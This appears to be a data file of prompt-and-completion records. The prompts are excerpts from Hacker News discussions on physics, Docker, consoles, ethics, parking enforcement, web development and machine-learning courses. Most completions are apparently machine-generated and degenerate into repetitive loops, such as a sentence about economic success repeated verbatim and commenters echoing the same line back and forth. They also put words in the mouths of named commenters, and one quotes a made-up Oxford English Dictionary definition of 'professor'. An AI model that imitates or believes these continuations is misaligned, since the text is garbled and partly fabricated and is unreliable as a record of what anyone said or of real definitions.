electrons, protons, and neutrons to create new\nelements. However, the stability of an atom becomes problematic when the size\nof the nucleus approaches the interaction length of the strong force (i.e. the\nnucleus is too large for the strong force to hold it together). These elements\nare unstable and therefor not relevant as far as organic chemistry is\nconcerned.\n\nFurthermore, the formation of elements in the Universe is also a fairly well\nunderstood process. For elements lighter than Fe it generally occurs through\nnuclear fusion in the center of stars. For elements larger than Fe it\ngenerally occurs through the r-process and s-process. With these we can model\nnucleosynthesis extremely well and it gives us a very good idea of the\nelemental composition of the Universe. That being said, there could be some\ncrazy unknown element out there but it would contradict almost everything know\nabout atomic physics.\n\n~~~\nnknezek\nGood answer, but I think you mean Fe, not Pb.\n\n~~~\nAnalog24\nGood catch! It has been corrected in my comment.\n\n------\nzby\nSo they do something like this: Let's choose a human in random - he is more\nprobable to be from Pakistan than from Slovakia. (OK) Now let's choose a\ncountry - now an average country like Slovakia is more probable than a country\nas big as Pakistan. (OK)\n\nSo if you are a human - then it is most probable"} +{"output_text": " teaches) is\nwidely disputed. The Oxford English Dictionary (OED) defines a professor as\n\"a person who has been awarded a doctorate or a similar degree, and who is\nusually employed in a university or college as a teacher of one or more\nsubjects.\"_\n\nThe definition for \"scholar\" from the same source:\n\n _The Oxford English Dictionary (OED) defines a scholar as \"a person who has\nbeen awarded a doctorate or a", "input_text": " link I listed at FactCheck.org\nalso asserts is true.\n\nOxford Dictionary (First Definition):\n\nscholar (schol\u00b7ar): a specialist in a particular branch of study, _especially\nthe humanities_ ; a distinguished academic\n\nFrom the UC Law School statement at FactCheck.org:\n\n\"Senior Lecturers are considered to be members of the Law School faculty and\nare _regarded as professors_, although not full-time or tenure-track... Like\nObama, each of the Law School's Senior Lecturers have high-demand careers in\npolitics or public service, which prevent full-time teaching. Several times\nduring his 12 years as a professor in the Law School, Obama was invited to\njoin the faculty in a full-time tenure-track position, but he declined.\"\n\n~~~\nanamax\n>>The claim was that he was a constitutional law scholar, not that he was a\nprofessor. While there are overlaps between the two groups, neither one is a\nsubset of the other.\n\n>You're kidding, right?\n\nNot at all. I have reasonably high standards for scholars.\n\nFor example, even though the degree is \"Juris Doctor\", I don't call lawyers\n\"Dr.\". (However, I will call them \"Esquire\".)\n\nMeanwhile, you'd call a 6th grade history teacher a \"scholar\" if they teach\nsome constitution....\n\n~~~\njeromec\n_Not at all. I have reasonably high standards for scholars._\n\nThis is not about you. It's about the definition in the dictionary. It has as\na primary entry for scholar \"a distinguished academic\".\n\nThe definition for \"professor\" from Wikipedia:\n\n _The meaning of the word professor (Latin: professor, person who"} +{"output_text": "------\njosh2600\nI'm not sure I understand the point of this article.\n\nThe author is saying that Docker is a good thing, but he's not saying why.\n\nI'm not sure I agree with the author's premise that Docker is a good thing.\n\nI think the author is saying that Docker is a good thing because it's a\n_tool_.\n\nI think the author is saying that Docker is a good thing because it's a\n", "input_text": " \"old\"\nthough; the latest release was in March.\n\n~~~\nnjharman\nFair enough. But the mentality that picks stable over up-to-date tends to\nnever upgrade. I'm stuck supporting rhel5.5, our \"new\" systems are 6.5\n\n------\nallan_s\nour use case for docker is the following:\n\nwe're a webshop, and recently we've standardized our stack on\nsymfony2/nginx/postgresql, so all our websites use that. but beside of that we\nhave some that we maintain that need to run on old version of php/centos.\n\nAs we have only 1 server internally for pre-staging environments, docker does\nhelp us to save a lot of memory/cpu compare to what we had before (virtualbox,\nyes...), without needing a lot of machine to setup (like openstack).\n\nAlso we don't really have a guy dedicated to sysadmin, so the less time we\nneed to spent on server administration, the better we feel. So we have a set\nof 3 containers (for symfony+php_fpm / postgresql / nginx ) that already tuned\nto meet our needs, with a ansible playbook [https://github.com/allan-\nsimon/ansible-docker-symfony2-vagra...](https://github.com/allan-\nsimon/ansible-docker-symfony2-vagrant/), that we reuse for every new project\nwe have. So that the developers can have a working stack, without needing to\nreinvent the wheel, they even don't need any knowledge of system adminstration\n\"run this ansible command, done\"! without any risk to break other services.\n\n"} +{"output_text": " agree. I think the Switch is a great device for the home, but\nit's not a home console.\n\n>Does anyone else have an impression?\n\nI think the Switch is a great device for the home, but it's not a home\nconsole.\n\n~~~\nmatt4077\nI'm in the US, and I'm not sure if it's a smaller thing or if it's just that\nthe launch was a bit earlier.\n\nI'm", "input_text": ", but snapped onto the\ncontroller shell you forget it isn't just a regular controller. Very cool.\n\nThe hardware though? It makes me nervous. I get at $300 and what Nintendo was\ngoing for you don't have much of an alternative. Maybe I'm spoiled but 900p\nupscaled at 30 fps with drops when docked feels wrong in 2017. The game (BotW)\nis beautiful and controls wonderfully but the lag is noticeable at times for\nme and the lack of fluidity hurts the experience. Oddly enough playing at 720p\nundocked isn't slow at all and on the small screen looks great. I kind of\ndrool at the thought of this upscaled to 4k at 60fps and that and it wouldn't\nbe hard on modern hardware. Maybe a remaster or emulator?\n\nIt very much feels like a mobile device you can dock versus a home console you\ncan take with you. Just not sure how much headroom is in the hardware to make\nthis last for three or four years without major compromises.\n\nDoes anyone else have an impression?\n\n~~~\nThatPlayer\nI scoped out my local Target at 1 am and there were 5 people in line and maybe\na few more waiting in cars. Came back at 7:30am before the 8am opening and got\na voucher for about 40 out of 60 Switches. I think it could just be a smaller\nthing because most people expect the midnight launches, and people have work\nat 8am. The midnight launch at my local Fry's sold out of their 90 Switches.\nOr maybe it is your location as I am in Los Angeles County.\n\n>It very much feels like a mobile device you can dock versus a home console\nyou can take with you.\n\nI definitely"} +{"output_text": "environment is worth more than the money.\n\n~~~\nmalvosenior\nI'm not saying it's not true. I'm saying it's not the reason.\n\n------\njoshu\nI think it's a combination of things.\n\n1\\. The company is doing well.\n\n2\\. The company is doing well because it's a good place to work.\n\n3\\. The company is doing well because it's a good place to work.\n\n", "input_text": " how they\n> want others to react rather than based on what they really think.\n\nTo know what others think and desire requires empathy. To counter B.S you have\nto do 2 things. Get to know yourself to create a carapace based on values that\nprotects you, and get to know others, so you know the true reason why they\nwant something from you. When these don't match (or don't match the proclaimed\ncompany values), this is the definition of B.S\n\nIf your values, their values and the company values match, then we can hardly\ncall it B.S - and don't forget changing values and raising from naivet\u00e9 is\npart of growth. It's ok to feel today you \"gotta give 110%\" then later realize\nthis doesn't align with your life moment.\n\n------\nmalvosenior\nAnything related to the \"culture\" of the workplace. The higher ups are raking\nin tons of money. That's it. That's why they are doing what they do. \"Culture\"\nis to keep the workers entertained while the execs scoop up all the cash.\n\n~~~\nmaxehmookau\nnah, I don't buy this.\n\nIn a large company, most people _aren't_ making the big bucks and don't do it\nto make a fortune. They do it to make a living.\n\nThe \"culture\" of a place, especially at a bootstrapped startup where the\nhigher ups _aren't_ raking in the big bucks is a huge draw to someone _where\nmoney is not the main reason for taking a job_.\n\nFor me, I'm paid well (probably 60th percentile for my location/position) but\nthe flexibility I get from my employer which cultivates a nice culture and\n"} +{"output_text": " was a common convention in the early days of unix to use ^H^H to mean\nbackspace.\n\n------\njosteink\nI'm not sure if I'm missing something, but I don't see how this is a problem.\n\nThe article is about a bug in the compiler, not the CPU.\n\nThe CPU is not the problem here.\n\n~~~\njosteink\nI guess I should have been more clear.\n\nThe article is", "input_text": "\nbuiltin CRC32 over the wrong polynomial, Pascal calling convention support,\nbinary-coded decimal, high halves of 16-bit registers, MMX overlap with x87\nfloating point, etc. etc.\n\n~~~\nq3k\nRight, but most of these are just past crimes^W^Wlegacy that Intel has to deal\nwith in the name of backwards compatibility.\n\n~~~\nKlathmon\n>most of these are just past crimes^W^Wlegacy\n\nThis is completely off topic, but I've seen things like the \"^W^W\" a few times\nbefore, and I don't know what it means.\n\nIs this a weird encoding mismatch thing? is it from some editor/system that\npeople instinctively type? Is it from some other forum which has a strange\nmarkup syntax for something?\n\n~~~\nq3k\nEmacs/readline bindings for Delete Word. Open up a bash shell, type in `foo\nbar baz`, then press ctrl-W twice.\n\n'^W' is what would appear instead if you weren't in a readline/emacs editor,\nbut instead a dumb line terminal. Thus, leaving '^W' behind makes it look like\nyou didn't realize what you just corrected is still visible.\n\nIt's a joke. I've now explained and ruined it.\n\n~~~\nbluedino\nSlashdot posters would use ^H^H in their posts (backspace)\n\n~~~\nlscotte\nIt goes back way further than that - probably to the dawn of IRC or so.\n\n~~~\npjscott\nI believe it dates back to the unix talk(1) program, quite a bit earlier than\nIRC.\n\n~~~\nTheCondor\nIt"} +{"output_text": " no way to avoid this.\n\n~~~\njoshu\nI think you're missing the point.\n\nThe point is that the terms are not the problem. The problem is that the\nrights holders are abusing the system.\n\n~~~\npork\nI think you're missing the point.\n\nThe point is that the terms are not the problem. The problem is that the\nrights holders are abusing the system.\n\n~~~\njoshu\nI", "input_text": " ToS said\nhe'd released his rights, demonstrates this is not a \"please not again\"\nproblem, this is ongoing, big corps are misusing these at the expense of\nindividual artists, and the problem's getting worse.\n\nEvery day I talk to artists who have no idea that posting their latest music\nvideo to a video sharing site could give that company performance rights in\nother media, or, as in this case, that pinning their own photos to Pinterest\nwould let Pinterest publish a \"Best Pins of 2012\" book w/o compensating the\nartist.\n\nThis needs to be called out and both consumers and creators deserve to be\ninformed.\n\n~~~\npork\nLet me rephrase GP's comment, since I felt the same thing as them. Allow me to\nset out a hypothetical.\n\nYou find that Pinterest's terms are awful, and stage a very successful revolt\nwith your own site, sans the offensive terms. Users flock to your site, and\nPinterest dies a sad death. One of the copyright owners of your \"pinned\"\ncontent decides to go after you, and decides to sue the pants off you. So you\nfreak out and hire a top-notch lawyer, who will draft a new set of terms for\nyour users to shield you from the liability you now realize you have.\n\nRepeat, iterate, and before you know it -- your top-notch lawyer guarantees\nthat you will face no more expensive liability, but you now have the onerous\nterms set out in practically all sites that allow user-generated content.\n\nBasically, these terms allow you to bump the liability from yourself to the\nuser who uploaded it (because they have pinned the pictures in bad faith, in\nviolation of your terms, etc.)\n\nSo there's really"} +{"output_text": " it.\n\n~~~\nmatt4077\nI don't think the trolley problem is artificial. It's a very real problem,\nwhich is why it's so popular.\n\nThe problem is that it's a problem that can't be solved by a simple \"do the\nright thing\".\n\nThe problem is that it's a problem that can't be solved by a simple \"do the\nright thing\".\n\nThe problem is that it's a problem that", "input_text": " It would be quite remarkable to somehow\nviolate the way things are. Next time you see someone do something \"wrong,\" or\n\"bad,\" or \"unethical,\" please try to use your senses to observe the \"bad\" or\n\"problem\" in the situation. Where is it? I'd love to see a picture of a real\nviolation of nature, a real problem.\n\nTo your second question, such things are annoying to me because it is my\nnature to be annoyed by ignorance. Many humans are naturally compelled to seek\nunderstanding. There is nothing wrong with ignorance; it's just my nature to\nfind it annoying.\n\nAlso, downvoting my comments doesn't make them incorrect.\n\n------\nmichaelmrose\nThe trolley problem conflates too independent issues in a very artificial set\nof circumstances.\n\nWhether we are willing or required to make a utilitarian moral judgment and\nwhether we have the right to do so.\n\nIn a real life trolley problem on the battlefield or in the hospital the\ncommanding officer or doctor has been invested by society with his/her\nposition and is expected to do hypothetically the best thing for his\npatients/soldiers. He has both the power and the right. I'm aware the military\nsituation is a LOT murkier but lets not over complicate.\n\nIt seems to me that many are conflicted over their right to take power over\nother peoples lives and the expected benefit. Note how most feel that you are\nrequired to switch the trolley when nobody would be harmed on the other track.\nMost feel it unacceptable to take responsibility for choosing which party to\ndie in a one to one switch but find sacrificing one for 5 at least acceptable\nas the benefit mounts it becomes harder to be squeamish about"} +{"output_text": " netbook is just too slow for that.\n\n~~~\nrheide\nI agree, but I don't think the iPad is a good travel companion. I have a\nnetbook and a laptop, and I use the netbook for everything. I don't need a\nlaptop for travel.\n\n------\njrockway\nI don't think the iPad is a good travel companion. I have a netbook and a\nlaptop, and I use the netbook", "input_text": " install the software.\n\nBesides the considerations of HOW to get an app into apt-get - what if you\nwant to charge for it? Apt-get simply wasn't designed to distribute paid\nsoftware and you'd have to implement all the missing pieces yourself (account\nmanagement, payment processing, license management, in-app\npurchases/upgrades). Doing this per-app is no better than the current\nsituation in Windows from a developer POV. Adding this functionality to some\nderivative of apt-get, on the other hand, is HARD - besides the technical\nchallenges, you'd have to overcome legal issues with taking payments in a\nvariety of jurisdictions with different regulations and tax laws.\n\n~~~\nbryanlarsen\nIt may have been hard, but Ubuntu's already done it. The Ubuntu Software\nCentre contains pay apps.\n\n------\nrheide\nI dare say that the netbook is not dead at all for people who travel a lot. I\nown an iPad and a very slow (WinXP) netbook myself, but I would prefer the\nnetbook over the iPad for travel any day. At least I have plenty of storage\nspace for my photos on my netbook and I can plug in whatever USB hardware I\nwant.\n\n~~~\nartmageddon\nAs I said in another comment, I use rail every day to and from work. For\ncoding, the netbook wins hands down. It runs a bare minimum WinXP setup(i.e.\nno virus scanner or loads of services to start up), so I get done what I need\nto. I'd much rather use it for photo processing / writing emails etc. also.\n\nOf course, once I start needing remote connectivity for work, I'll have to use\nthe iPad.. the"} +{"output_text": "\n\nI think the problem is that the \"college degree\" is a proxy for \"skill\".\n\nI think the real question is: \"What are the skills that are correlated with\neconomic success?\"\n\nI think the answer is: \"Skills that are correlated with economic success are\nskills that are correlated with economic success.\"\n\nI think the answer is: \"Skills that are correlated with economic success are\nskills that are correlated with economic success.\"", "input_text": "iel's 20 under 20 (). Of the select few that were chosen\nbased on their skills/ideas/potential and given access to Thiel's network,\nquite a few ended up actually going back to school.\n\n~~~\nwebwright\nI'd love to see socioeconomic status pulled out of the equation.\n\ni.e. Take 1000 offspring of middle/upper class folks. Measure the difference\nbetween those who chose to go to college and those who did not.\n\nMeasuring the economic success of people who don't go to college is (most of\nthe time) measuring the success of people who can't afford to go to college.\n\n~~~\nChuckMcM\nOk, so lets say you did that. Do you have a hypothesis about what might be\ndifferent?\n\nCollege is actually reasonably affordable, there are accredited four year\nuniversity degrees that cost about $25K over four years. Generally those are\n'state' schools but still $25K it what it costs to buy a car, so if one can\nchoose between buying a car and going to school we could do some interesting\ncomparisons there.\n\nIn every survey I've ever seen, whether it was done by the Census bureau or\nthe chamber of commerce, people with college degrees were more likely to have\nbetter economic success than someone who had not completed college. The\nnumbers are quite skewed toward college graduates with STEM [1] degrees.\n\nBy and large, today, for the general case, if you want to increase your\nchances for economic success, getting a STEM degree from an accredited college\nis your most highly leveraged investment.\n\n[1] STEM - Science Technology Engineering Mathematics\n\n~~~\nwebwright\nComing at this 7 days late, but..."} +{"output_text": " think that the problem is that the tools are too complicated\nfor the average developer to use, and that the average developer doesn't\nreally want to use them.\n\n~~~\nmts_\n> Was there something wrong with the yeoman & grunt/gulp combo?\n\nI think the problem is that the tools are too complicated for the average\ndeveloper to use, and that the average developer doesn't really want to use\nthem.\n\nI think the problem is", "input_text": " and JSX for the later.\n\n> It's as if ReactNative is being treated (strategically) as a more powerful\n> version of PhoneGap.\n\nReactNative is like Titanium/Alloy. It uses native components to render views,\nnot the DOM. So it has nothing to do with Phonegap except for the use of\njavascript.\n\n~~~\nmts_\n> ReactNative is like Titanium/Alloy. It uses native components to render\n> views, not the DOM. So it has nothing to do with Phonegap except for the use\n> of javascript.\n\nI believe the original poster was referring to the fact that Cordova's whole\npurpose is to be a testing ground for new browser APIs - and that the goal of\nthe project is to basically become irrelevant at a later point because browser\nvendors hopefully will have implemented similar APIs.\n\nSort of like a testing ground for web standards.\n\nBut yes, in a technical sense React Native is closer akin to Titanium than\nCordova/PhoneGap in its current state.\n\n------\nandrewstuart2\n> There are a lot of JS tools, but none of them do what we want. We\u2019re trying\n> to coordinate them. We want to provide a good default experience out of the\n> box, so we\u2019re building a CLI to: scaffold, skeleton files, set up build, set\n> up testing environment, possibly even deployment\n\nWas there something wrong with the yeoman & grunt/gulp combo? The yeoman tool\nis great for the scaffolding and skeleton story, and even for setting up your\nbuild, test, deployment environments using whatever combination of grunt &\ngulp you want to build into your generator.\n\nI'm starting to"} +{"output_text": "ange\n> The only question is who creates it first.\n\nThat's not the only question. The question is who can enforce the rules of the\ngame.\n\n> Hence, paradoxically as it may seem, the logical conclusion would seem to be\n> that you should work as hard as you can to invent whatever unethical\n> technology you're worried about -- in the hopes that you can minimize the\n> damage later.\n\nThat's not the only logical conclusion.", "input_text": "?\n\nNote: The constraint is that X _is inevitable_. The only question is who\ncreates it first. And in that context, isn't it at least possible to argue\nfrom multiple axes that you should help to create it? The limit case of this\nargument would be \"It's your duty to the society you live in to ensure it has\nthe competitive advantage, not some other society.\"\n\nA less-hostile way to phrase that would be \"The first company to invent a\ntechnology can then try to _enforce ethics_ onto that technology.\"\n\nThat is, if you invent something, it's easier to dictate how it's used than if\nyou didn't.\n\nHence, paradoxically as it may seem, the logical conclusion would _seem_ to be\nthat you should work as hard as you can to invent whatever unethical\ntechnology you're worried about -- in the hopes that you can minimize the\ndamage later.\n\nIf it seems like a technology can't really be controlled (e.g. nuclear\nweapons), I counter with this: Bitcoin was the implementation of a set of\nideas. The exact implementation could have been very different. It could have\nbeen inflationary rather than deflationary, for example. The precise choices\nwere very important, because Bitcoin has huge first-mover advantages. And that\nis often true of the first X to be invented.\n\nSo, what's the answer? Do we work as hard as we can to invent unethical\ntechnologies in order to mitigate their effects, or do we try to suppress or\ndiscourage the invention of new technology knowing that some less-\"ethical\"\nsociety will get there first?\n\nOr is that a false dichotomy? I'm fascinated by the possible answers.\n\n~~~\njonathanstr"} +{"output_text": " we had a chance to try it out.\n\n~~~\njlgaddis\n> _I see people asking whether Openstack is actually running anywhere very\n> public, and have read some pained war stories. So it still feels like the\n> right decision, even before we had a chance to try it out._\n\nI'm not sure I understand your point.\n\n~~~\njlgaddis\nI guess I should have been more clear. I'm not saying", "input_text": " enormously fiddly compared to VMWare, which was where they were\ntaking aim. I expected them to say \"now running on Openstack, 100%!\"\n\nAlso the design seemed to mirror AWS, as if the only answer to their dominance\nwas to... copy every facility they were producing exactly?\n\nWe had a more definite vision of where VMs should go, and thought it was a bad\nplan to aim at \"Amazon, but smaller!\". In particular we really really wanted\nlive migrations to be a part of our platform - where we really really cared\nabout uptime of individual VMs, and wanted people to be able to upgrade them\non the fly. Plus, y'know, for a hosting company, being in control of, and\nhaving opinions of our hosting platform was what people paid us for!\n\nSo we designed our in-house platform BigV instead (now Bytemark Cloud Servers)\n-> [https://blog.bytemark.co.uk/wp-\ncontent/uploads/2012/12/Desig...](https://blog.bytemark.co.uk/wp-\ncontent/uploads/2012/12/DesignAndImplementationOfBigV.pdf) [pdf] And even\nthough we (re)invented an NBD server to make all the live migration stuff work\n[https://github.com/BytemarkHosting/flexnbd-c](https://github.com/BytemarkHosting/flexnbd-c)\nI believe we've ended up with something that does a small number of things far\nbetter.\n\nI see people asking whether Openstack is actually running anywhere very\npublic, and have read some pained war stories. So it still feels like the\nright decision, even before"} +{"output_text": " that). Just get something working and get\nfeedback.\n\nI'm not sure if you're a beginner or not, but I'd recommend you start with\nsomething simple. I'd recommend you start with a simple Rails app. I'd\nrecommend you start with a simple Rails app.\n\nI'd recommend you start with a simple Rails app. I'd recommend you start with\na simple Rails app.\n\nI'd recommend you start with a simple Rails app. I'd", "input_text": " and MooTools. Do you think a beginner can grasp it? And, what do you think the learning curve will be?

Thanks!\n======\nteej\nI was in your position 4 years ago. I had spent some time learning HTML/CSS +\nPHP and had thrown up a few websites here and there. I wanted to get into real\nweb dev, and I decided Rails would pave that road.\n\nI'm not one for books, but Ruby on Rails: Up and Running\n() was an incredible resource for\nnew devs. I have since introduced two other people to Rails though that book\nand they loved it. One issue: it's old. If they haven't updated it for Rails\n2+, don't go near it. You might want to try the Rails Guide instead\n()\n\nFrom there, I picked up Ruby for Rails (). I\nread about 20% of this book. It was critical for me understanding the \"magic\"\nbehind Rails and the weird syntax behind Ruby. I came from a somewhat CS\nbackground, so YMMV.\n\nAfter that, I left the books behind. I just found problems and tried solving\nthem with Ruby & Ruby on Rails. I did a few crappy webapps, some of the\nFacebook engineering puzzles, some of the Project Euler questions.\n\n\\----- One word: PRACTICE. -----\n\nAt first, stay away from doing it perfect, just get something working and\niterate. You don't need a full suite of tests, scale to 1M users, and super-\nclever meta-code (you dont need"} +{"output_text": ".\n\n~~~\nenriquto\nI don't like this solution either. It is not clear to me what is the\ndifference between a program that outputs a newline and a program that does\nnot.\n\n~~~\nRogach\nIt's a newline character.\n\n~~~\nenriquto\nI don't understand. What is the difference between a newline character and a\nnewline character followed by a newline character?\n\n~~~\nRog", "input_text": "ulator, so each shell\ncommand (that needs it) gets it's own pty. I think this will enable a much\nnicer UI and also simplify things.\n\n~~~\nopk\nThis is what tmux is for.\n\n~~~\nEricson2314\nNo this is _not_ what tmux is fore. IMO tmux and screens are giant hacks:\n\n\\- multiplexing: better to use ssh multiplexing, which is just nice in general\n\n\\- persistence: Yes, you want to open a pty on a the host, but you should\nactually emulate the terminal on the guest: one should just forward all the\npty messages between the guest and host (graphical emlator). In other words, a\nlot more like regular ssh\n\n\\- sharing: graphical emulators should just understand that multiple can be\nhooked up, have some support for this, we can relay the input from one\nemulator to the others as needed.\n\nFor my terminal-inside-shell, I would use a customer server + protocol for\nmanaging all the ptys (remember because backgrounded commands there can be\nmultiple).\n\n------\nstared\nI am waiting for GPT-2-based models for ZSH. Something in the line of TabNine,\nbut for the terminal.\n\n------\nenriquto\nI do not like this feature. How can you distinguish the output of a program\nthat outputs a newline from one that doesn't? This is intentional obfuscation.\nIf you are bothered from where your prompt starts, add a newline at the\nbeginning of your prompt.\n\n~~~\nRogach\nThere is a \"missing linefeed indicator\" symbol (usually %) that is output if\nthere is no trailing newline"} +{"output_text": "\n\n~~~\ntrimbo\nI'm not sure I agree. I think the problem is that the content is not\navailable. I don't think it's a bug.\n\n~~~\ndmix\nI think it's a feature, but I agree it's a bug.\n\nI think the problem is that the content is not available. I don't think it's a\nbug.\n\n------\njedberg\nI'm surprised that the movie \"The Man Who", "input_text": " (1949) links to \"The Bicycle\" (2015).\nGreat list though. It would be interesting to see the thing done for the AFI\nand BFI top 100. (Although I suspect that most movies on the AFI are probably\nalready on Ebert's list.)\n\n------\nintellijdd\nI was just seeing someone else's tutorial on scraping Amazon prices. They also\nran into an issue where they needed to scrape twice instead of once. Not sure\nthat it's the same issue you're facing but I thought I might drop my two\ncents.\n\n~~~\ncatwind7\nI actually did notice that issue, even with using a stateful client like\nmechanize. Sometimes I had to scrape > 5 times in order to get through the\n\"anti robot\" page.\n\nOther times, I get no issue at all. It's weird - maybe they're doing some\npattern matching on request metadata on their end?\n\n------\ntrimbo\n\"The Man Who Shot Liberty Valance\"\n\nIMO, John Ford's best movie, hands down.\n\nUnfortunately, it is not actually available on Prime without \"CBS All Access\"\n[Edit: ah, I see that this is not just \"Included with prime\", but all movies]\n\n~~~\ndmix\nPrime just recently introduced channels, which dramatically increased the\namount of content available, but each is $3.99. I personally love this because\nI\u2019d rather have the option to subscribe to Smithsonian content or MGMs back\ncatalog using the same streaming service I already use, rather than paying to\nuse 10 different or getting stuck using the small list of (mostly old, TV\nmovie, or B movie) content on just prime or Netflix.\n\nSo this is a feature, not a bug."} +{"output_text": "-party app market with the iPhone market. The\niPhone market is a subset of the third-party app market.\n\n~~~\nasciilifeform\nI am not. The iPhone market is a subset of the third-party app market.\n\n~~~\nGHFigs\nYou're conflating the iPhone market with the third-party app market. The\niPhone market is a subset of the third-party app market.\n\n~~~\nasciilifeform\nI", "input_text": " run blazingly faster on a new machine!\n\n------\ntrezor\nFrom the report:\n\n _No backgrounding, no multitasking, no unobtrusive notifications. No copy and\npaste (yet), no MMS, no video. Really pretty minor stuff thus far._\n\nAh well. So we have push notification, better hardware access and the maps API\nopened up for apps. Not totally shit but not revolutionary either.\n\n~~~\njws\nYou really should watch the live coverage by someone other than engadget. I\nget the impression their person is only there because someone threatened to\nfire him if he didn't go.\n\nIf you are looking for information the Grumpy Mystery Science Theater version\nof the live cast is the wrong place to be.\n\n~~~\nashr\nI recommend watching the video on apple.com\n\n------\nasciilifeform\nMicropayments: death by a thousand cuts. Mark my words.\n\n~~~\nicey\nWell, that's kind of the nice thing about capitalism. If you don't like it,\nvote (or rather don't vote) with your wallet.\n\n~~~\nasciilifeform\nThis would be true in a market driven by competition between near-equals.\n\nThe iPhone does not live in such a market. It has no competition. It is a\nqualitatively different product from other mobile phones. The cell phone\nmarket is divided into two categories: the iPhone, and inferior crud. If Apple\nwere to begin charging $0.05 per \"click\", you would have to cough up the dough\nor switch to a vastly inferior product. Therefore, your ability to \"vote\" with\nyour money is academic in this case.\n\n~~~\nGHFigs\nYou're conflating the third"} +{"output_text": " figure out what the root cause is.\n\n------\njasonkester\nI'm in the same boat. I'm a little older than you, and I've been doing this\nfor a while.\n\nI've found that the best way to get through it is to just keep doing it.\n\nI've found that the best way to get through it is to just keep doing it.\n\nI've found that the best way to get through it is to just keep", "input_text": " not say\n\"This project will finish in 3 weeks\", but break it into chunks - \"In two\ndays, I'll have a prototype of the admin module, where you can test. Friday I\nexpect to have all the functionality working, implementing your feedback along\nthe way. Wednesday next week we'll have a meeting to discuss changes to module\nY\", etc.\n\nThere's no silver bullet, and I certainly do not envy this part of being a\nfreelance developer, but it is possible. And remember, everyone struggles with\nthis:\n[https://www.youtube.com/watch?v=co_DNpTMKXk](https://www.youtube.com/watch?v=co_DNpTMKXk)\n\n------\nmrweasel\nFirst up, I'm not qualified to solve your problem, but if you think you have\nADHD, get it checked by a professional. I managed to convince myself that I\nhad diabetes.... I apparently do not.\n\nBut honestly, maybe you just need to do something different. Find a small shop\nthat needs a developer, pick something that your grossly overqualified for.\n\n------\nrconti\nYes, mid 30s, I struggle as well. I'm much better at small discrete tasks than\nI am at larger projects, where I often work for a few minutes, then back up\nand think about the scope of the whole project, get discouraged, get\ndistracted, etc. I've been very successful in life but the past 6 months I've\nbeen working hard to tweak a lot of the things I don't like about myself.\n\nCurrently seeing a CBT specialist which is helping. What I like about CBT is\nthat it gives you discrete tools to address issues rather than spending 6\nmonths trying to"} +{"output_text": "reported, it's a pretty serious\nsecurity issue.\n\n~~~\njrockway\n_Assuming that this is real and not mis-reported, it's a pretty serious\nsecurity issue._\n\nI don't think it's a security issue. It's a privacy issue.\n\n~~~\nnl\n_It's a privacy issue._\n\nI don't think so.\n\nI think it's a privacy issue because it's a privacy violation.\n\nI think it", "input_text": " specific group has lots of access. I care\nthat not that many groups do in total. This story makes me concerned that\nactually many groups have lots of access. Despite the \"elite navy seal\" vibe\npresented in the Gawker story about SREs, I'm now thinking that many, many\nteams have this kind of access. (Previous to this story, I was led to believe\nthat SREs were quite low level (not in importance. but in nature of\nresponsibilities. Very performance oriented, having little reason to have\naccess to an individual user's data.).\n\nPlease feel free to jump in and correct this, Google peeps. It would make me\nfeel better.\n\n* What this does for SaaS and web apps in general\n\nI love Google Docs and sincerely believe that most web apps that allow across-\nthe-net collaboration are good for us. And are preferable to The Old Way. I\nwant people to TRUST their stuff to Google (and Github and Amazon, etc).\n\nI hate security FUDers who love to derail conversations of great possibility\nwith some far out scenario, \"Can my enemy see my Google Docs?!?!\"\n\nI'm way less worried about a few creeps who work at Google (they work\neverywhere...) and more concerned about laissez-faire access processes.\n\n~~~\nnl\n_\"...pulled up the person's email account...[and] a list of other Gmail\naddresses that the friend had registered but didn't think were linked to their\nmain account\u2014within seconds\"_\n\nThis surprised me too. In the absence of any further comment from Google, I'd\nbe very interested to see some journalists doing some investigation here.\n\nAssuming that this is real and not mis-"} +{"output_text": " on the street except in the back of the lot except on the street\nexcept in the back of the lot except on the street except in the back of the\nlot except on the street except in the back of the lot except on the street\nexcept in the back of the lot except on the street except in the back of the\nlot except on the street except in the back of the lot except on the street\nexcept in the back of the lot except on the street except in the back", "input_text": ".wordpress.com/auto-news/news/students-defeat-new-barnacle-parking-boot-skip-fines-and-get-free-internet\n======\nemptybits\nI spent a decade in the parking technology space. (Co-founder PayByPhone --\ndon't hate me, I genuinely tried to make things more civilized and convenient,\nI swear!). Anyways, I miss hearing about hilarious and genius hacks and\nescalations like this. The brilliance deployed to work around parking\nregulations is amazing.\n\nNot condoning, but here's a (naive?) though experiment if the Barnacle shows\nup in use again... Park your car and cover it. Many car covers have cable\nlocks to prevent removal and openings to expose plates for legal/bylaw\nreasons, so this should be permissible. This may provide protection from sun,\nfrost, birdshit, and now Barnacles(tm)! My assumption is that parking\nenforcers don't have permission to modify, remove, or damage property on a\nparked car like this.\n\nOf course, there's always a tow-truck. Or you could pay for the parking you\nuse, but I respect the hacker spirit!\n\n~~~\nquaquaqua1\nThe problem is not paying for the parking I use. That is an easy problem to\nsolve, as long as the price is \"reasonable\".\n\nThe problem I have with parking authorities is fraud. When the meter employee\ngives me a ticket for a different meter, or when the parking ticket fine is\n$200 instead of say $30, or when the restrictions are absurd/vague (\"You can\npark here for 2 hours m-f except holidays except 9-11 except in green spots\nexcept"} +{"output_text": " edge research is often very difficult to understand, and the\nunderstanding of the underlying maths is often very difficult to grasp.\n\n~~~\ndeepGem\nI agree. I think Andrew Ng's course is a good starting point.\n\n------\njoe_the_user\nI'd recommend the book \"Natural Language Processing with Python\" by Michael\nPelletier. It's a good introduction to the field, and it's a good book to\nstart with.", "input_text": "/2015/05/21/rnn-\neffectiveness/](http://karpathy.github.io/2015/05/21/rnn-effectiveness/) \\--\n[http://colah.github.io/posts/2014-07-NLP-RNNs-\nRepresentation...](http://colah.github.io/posts/2014-07-NLP-RNNs-\nRepresentations/)\n\n(Andrej Karpathy and Chris Olah are some of my favorite writers)\n\n[0] [http://www.deeplearningbook.org/](http://www.deeplearningbook.org/) [1]\n[https://web.stanford.edu/~jurafsky/slp3/](https://web.stanford.edu/~jurafsky/slp3/)\n[2] [http://nlp.stanford.edu/IR-book/](http://nlp.stanford.edu/IR-book/)\n\n------\ndeepGem\nStart with Machine Learning by Andrew Ng, on Coursera Once you get a hang of\nneural networks, which is chapter 4 in the course I think jump to Stanford's\nCS224n. It's helpful to complete Andrew's course as well.\n\n[http://web.stanford.edu/class/cs224n/](http://web.stanford.edu/class/cs224n/)\n\ncs224n is not easy. Of course, you can learn NLP without deep learning, but\ntoday it makes sense to pursue this path. 